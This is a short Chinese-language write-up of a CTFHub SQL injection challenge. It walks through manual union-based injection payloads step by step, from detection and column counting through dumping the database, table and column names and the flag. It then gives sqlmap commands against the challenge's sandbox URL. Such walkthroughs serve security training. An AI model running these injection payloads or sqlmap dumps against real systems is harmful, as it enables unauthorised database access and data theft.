解法1-使用手工方式
解题思路:库-->表-->列-->数据
1.检测是否存在注入
1' and 1=1 # 返回正确
1' and 1=2 # 返回错误
2.测字段数(x为猜想的数字)
1' order by 2 # 返回正确
1' order by 3 # 返回错误
根据测试结果显示:字段数为2
3.爆破数据库名
1' and 1=2 union select 1,database() #
根据所测试的字段数查询数据库名,依次测试第一个字段和第二个字段,经过测试第二个测试可以查询出数据库名为sqli。
4.爆破表名
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#
根据查询的数据库名爆破表名,可以查询出两个表名:news和flag
5.爆破列名
1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #
根据数据库名和表名查询出列名为flag。
6.获得flag
1' and 1=2 union select 1,group_concat(flag) from sqli.flag #
最后可以获得flag为:ctfhub{d8426e50bf0268a89748597c}
解法2-使用sqlmap工具
# 列出列名
python [sqlmap.py](http://sqlmap.py) -u [http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1'](http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1') --tables
# 查数据
python [sqlmap.py](http://sqlmap.py) -u [http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1'](http://challenge-d390b9f3ff349c16.sandbox.ctfhub.com:10080/?id=1') -T flag --columns --dump